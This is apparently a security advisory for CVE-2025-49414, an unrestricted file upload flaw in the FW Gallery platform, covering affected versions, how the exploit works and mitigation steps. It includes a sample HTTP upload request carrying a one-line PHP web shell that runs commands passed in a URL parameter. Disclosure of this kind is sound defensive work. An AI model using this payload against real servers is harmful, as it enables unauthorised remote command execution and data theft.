Overview
Every so often, a vulnerability is discovered that has the potential to compromise system security or lead to data leakage on a large scale. One such vulnerability, known as CVE-2025-49414, has been identified in FW Gallery, a widely used platform developed by Fastw3b LLC. Given the high severity of this vulnerability and the potential for exploitation by malicious actors, it is critical that users of FW Gallery are aware of the issue and take immediate steps to mitigate the risk.
Vulnerability Summary
CVE ID: CVE-2025-49414
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unrestricted upload of file with dangerous type could lead to potential system compromise or data leakage.
Affected Products
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Product | Affected Versions
FW Gallery | Versions through 8.0.0
How the Exploit Works
The vulnerability allows an attacker to upload a malicious file of any type without restriction. The uploaded file could contain a script or executable that, when run, has the potential to compromise the system or expose sensitive data. This is possible due to insufficient checks and validations on the file upload process in FW Gallery.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited could involve a malicious actor uploading a PHP file containing a shell command. A simplified example of such an HTTP POST request might look like this:
POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this example, the uploaded `malicious.php` file contains a command that causes the server to execute any command passed in the ‘cmd’ URL parameter. If the server processes this file, the attacker could run arbitrary commands on the server, leading to a severe compromise.
Prevention and Mitigation
Users of FW Gallery are advised to apply the vendor-supplied patch to mitigate this vulnerability. In the absence of a patch, or until one can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to help prevent exploitation. Regular monitoring and audits of server logs can also help identify any potential malicious activity.